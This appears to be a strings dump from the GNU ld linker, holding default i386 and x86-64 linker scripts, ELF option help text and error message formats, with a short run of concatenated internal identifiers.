    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (12, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -z combreloc: combine and sort reloc sections */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.dyn        :
    {
      *(.rel.init)
      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
      *(.rel.fini)
      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
      *(.rel.data.rel.ro* .rel.gnu.linkonce.d.rel.ro.*)
      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
      *(.rel.ctors)
      *(.rel.dtors)
      *(.rel.got)
      *(.rel.sharable_data .rel.sharable_data.* .rel.gnu.linkonce.shrd.*)
      *(.rel.sharable_bss .rel.sharable_bss.* .rel.gnu.linkonce.shrb.*)
      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
      *(.rel.ifunc)
    }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (12, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(32 / 8);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

%P%F: --just-symbols may not be used on DSO: %B
  --build-id[=STYLE]          Generate build ID note
  --audit=AUDITLIB            Specify a library to use for auditing
  -P AUDITLIB, --depaudit=AUDITLIB
                              Specify a library to use for auditing dependencies
  -Bgroup                     Selects group name lookup rules for DSO
  --disable-new-dtags         Disable new dynamic tags
  --enable-new-dtags          Enable new dynamic tags
  --eh-frame-hdr              Create .eh_frame_hdr section
  --hash-style=STYLE          Set hash style to sysv, gnu or both
  -z combreloc                Merge dynamic relocs into one section and sort
  -z defs                     Report unresolved symbols in object files.
  -z execstack                Mark executable as requiring executable stack
  -z initfirst                Mark DSO to be initialized first at runtime
  -z interpose                Mark object to interpose all DSOs but executable
  -z lazy                     Mark object lazy runtime binding (default)
  -z loadfltr                 Mark object requiring immediate process
  -z muldefs                  Allow multiple definitions
  -z nocombreloc              Don't merge dynamic relocs into one section
  -z nocopyreloc              Don't create copy relocs
  -z nodefaultlib             Mark object not to use default search paths
  -z nodelete                 Mark DSO non-deletable at runtime
  -z nodlopen                 Mark DSO not available to dlopen
  -z nodump                   Mark DSO not available to dldump
  -z noexecstack              Mark executable as not requiring executable stack
  -z norelro                  Don't create RELRO program header
  -z now                      Mark object non-lazy runtime binding
  -z origin                   Mark object requiring immediate $ORIGIN
                                processing at runtime
  -z relro                    Create RELRO program header
  -z max-page-size=SIZE       Set maximum page size to SIZE
  -z common-page-size=SIZE    Set common page size to SIZE
  -z KEYWORD                  Ignored for Solaris compatibility
%P%F: invalid hash style `%s'
%P%F: invalid maxium page size `%s'
%P%F: invalid common page size `%s'
%F%P: unable to place orphaned sharable section %A (%B)
%P%F: failed to set dynamic section sizes: %E
%F%B: Can't read contents of section .gnu.warning: %E
%P%F: failed to record assignment to %s: %E
%F%P: map sections to segments failed: %E
%F%P:%B: bfd_elf_get_bfd_needed_list failed: %E
%P: warning: unrecognized --build-id style ignored.
%P: warning: Cannot create .note.gnu.build-id section, --build-id ignored.
%P: warning: Cannot create .eh_frame_hdr section, --eh-frame-hdr ignored.
%P: warning: %s, needed by %B, not found (try using -rpath or -rpath-link)
%P: warning: %s, needed by %B, may conflict with %s
%P: warning: .note.gnu.build-id section discarded, --build-id ignored.
sha1sysvbothinitfirstinterposeloadfltrnodefaultlibnodeletenodlopennodumplazymuldefsnocombrelocnocopyrelocnoexecstacknorelromax-page-size=common-page-size=.rela.dyn.rel.dyn.rel.comment.gnu.warning..note.plt%s/lib%s%s.soeelf_i386.cLD_RUN_PATH.gnu.warning%P%F: looping in map_segmentsincludelibc.so%F%P:%B: bfd_stat failed: %E
found %s at %s
md5uuid.note.gnu.build-id.eh_frame.eh_frame_hdr%s needed by %B
LD_LIBRARY_PATH/usr/etc/ld.so.conf%s/%s.so./dev/urandomelf32-i386depauditdisable-new-dtagsenable-new-dtagseh-frame-hdrexclude-libshash-styleBgroup.rodata.interp.sdataH( 	|	y	P						gldelf_i386_write_build_id_sectionread_hexldscripts/i386linux.xrldscripts/i386linux.xuldscripts/i386linux.xbnldscripts/i386linux.xldscripts/i386linux.xn%s/lib%s%s.saei386linux.ci386linuxa.out-i386-linux/* Script for ld -r: link without relocation */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
 /* For some reason, the Solaris linker makes bad executables
  if gld -r is used and the intermediate file has sections starting
  at non-zero addresses.  Could be a Solaris ld bug, could be a GNU ld
  bug.  But for now assigning the zero vmas works.  */
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  .interp       0 : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash         0 : { *(.hash) }
  .gnu.hash     0 : { *(.gnu.hash) }
  .dynsym       0 : { *(.dynsym) }
  .dynstr       0 : { *(.dynstr) }
  .gnu.version  0 : { *(.gnu.version) }
  .gnu.version_d 0: { *(.gnu.version_d) }
  .gnu.version_r 0: { *(.gnu.version_r) }
  .rela.init    0 : { *(.rela.init) }
  .rela.text    0 : { *(.rela.text) }
  .rela.fini    0 : { *(.rela.fini) }
  .rela.rodata  0 : { *(.rela.rodata) }
  .rela.data.rel.ro 0 : { *(.rela.data.rel.ro) }
  .rela.data    0 : { *(.rela.data) }
  .rela.tdata	0 : { *(.rela.tdata) }
  .rela.tbss	0 : { *(.rela.tbss) }
  .rela.ctors   0 : { *(.rela.ctors) }
  .rela.dtors   0 : { *(.rela.dtors) }
  .rela.got     0 : { *(.rela.got) }
  .rela.sharable_data	0 : { *(.rela.sharable_data) }
  .rela.sharable_bss	0 : { *(.rela.sharable_bss) }
  .rela.bss     0 : { *(.rela.bss) }
  .rela.ldata   0 : { *(.rela.ldata) }
  .rela.lbss    0 : { *(.rela.lbss) }
  .rela.lrodata 0 : { *(.rela.lrodata) }
  .rela.ifunc   0 : { *(.rela.ifunc) }
  .rela.plt     0 :
    {
      *(.rela.plt)
    }
  .init         0 :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt          0 : { *(.plt) *(.iplt) }
  .text         0 :
  {
    *(.text .stub)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini         0 :
  {
    KEEP (*(.fini))
  } =0x90909090
  .rodata       0 : { *(.rodata) }
  .rodata1      0 : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame     0 : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  /* Exception handling  */
  .eh_frame     0 : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	0 : { *(.tdata) }
  .tbss		0 : { *(.tbss) }
  .preinit_array   0 :
  {
    KEEP (*(.preinit_array))
  }
  .init_array   0 :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array   0 :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .jcr          0 : { KEEP (*(.jcr)) }
  .dynamic      0 : { *(.dynamic) }
  .got          0 : { *(.got) *(.igot) }
  .got.plt      0 : { *(.got.plt)  *(.igot.plt) }
  .data         0 :
  {
    *(.data)
  }
  .data1        0 : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data 0 :
  {
    *(.sharable_data)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
  }
  .bss          0 :
  {
   *(.dynbss)
   *(.bss)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
  }
  .lbss 0 :
  {
    *(.dynlbss)
    *(.lbss)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss 0 :
  {
    *(.dynsharablebss)
    *(.sharable_bss)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
  }
  .lrodata 0  :
  {
    *(.lrodata)
  }
  .ldata 0  :
  {
    *(.ldata)
  }
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
}

/* Script for ld -Ur: link w/out relocation, do create constructors */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
 /* For some reason, the Solaris linker makes bad executables
  if gld -r is used and the intermediate file has sections starting
  at non-zero addresses.  Could be a Solaris ld bug, could be a GNU ld
  bug.  But for now assigning the zero vmas works.  */
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  .interp       0 : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash         0 : { *(.hash) }
  .gnu.hash     0 : { *(.gnu.hash) }
  .dynsym       0 : { *(.dynsym) }
  .dynstr       0 : { *(.dynstr) }
  .gnu.version  0 : { *(.gnu.version) }
  .gnu.version_d 0: { *(.gnu.version_d) }
  .gnu.version_r 0: { *(.gnu.version_r) }
  .rela.init    0 : { *(.rela.init) }
  .rela.text    0 : { *(.rela.text) }
  .rela.fini    0 : { *(.rela.fini) }
  .rela.rodata  0 : { *(.rela.rodata) }
  .rela.data.rel.ro 0 : { *(.rela.data.rel.ro) }
  .rela.data    0 : { *(.rela.data) }
  .rela.tdata	0 : { *(.rela.tdata) }
  .rela.tbss	0 : { *(.rela.tbss) }
  .rela.ctors   0 : { *(.rela.ctors) }
  .rela.dtors   0 : { *(.rela.dtors) }
  .rela.got     0 : { *(.rela.got) }
  .rela.sharable_data	0 : { *(.rela.sharable_data) }
  .rela.sharable_bss	0 : { *(.rela.sharable_bss) }
  .rela.bss     0 : { *(.rela.bss) }
  .rela.ldata   0 : { *(.rela.ldata) }
  .rela.lbss    0 : { *(.rela.lbss) }
  .rela.lrodata 0 : { *(.rela.lrodata) }
  .rela.ifunc   0 : { *(.rela.ifunc) }
  .rela.plt     0 :
    {
      *(.rela.plt)
    }
  .init         0 :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt          0 : { *(.plt) *(.iplt) }
  .text         0 :
  {
    *(.text .stub)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini         0 :
  {
    KEEP (*(.fini))
  } =0x90909090
  .rodata       0 : { *(.rodata) }
  .rodata1      0 : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame     0 : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  /* Exception handling  */
  .eh_frame     0 : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	0 : { *(.tdata) }
  .tbss		0 : { *(.tbss) }
  .preinit_array   0 :
  {
    KEEP (*(.preinit_array))
  }
  .init_array   0 :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array   0 :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .jcr          0 : { KEEP (*(.jcr)) }
  .dynamic      0 : { *(.dynamic) }
  .got          0 : { *(.got) *(.igot) }
  .got.plt      0 : { *(.got.plt)  *(.igot.plt) }
  .data         0 :
  {
    *(.data)
    SORT(CONSTRUCTORS)
  }
  .data1        0 : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data 0 :
  {
    *(.sharable_data)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
  }
  .bss          0 :
  {
   *(.dynbss)
   *(.bss)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
  }
  .lbss 0 :
  {
    *(.dynlbss)
    *(.lbss)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss 0 :
  {
    *(.dynsharablebss)
    *(.sharable_bss)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
  }
  .lrodata 0  :
  {
    *(.lrodata)
  }
  .ldata 0  :
  {
    *(.ldata)
  }
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
}

/* Script for -N: mix text and data on same page; don't align data */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
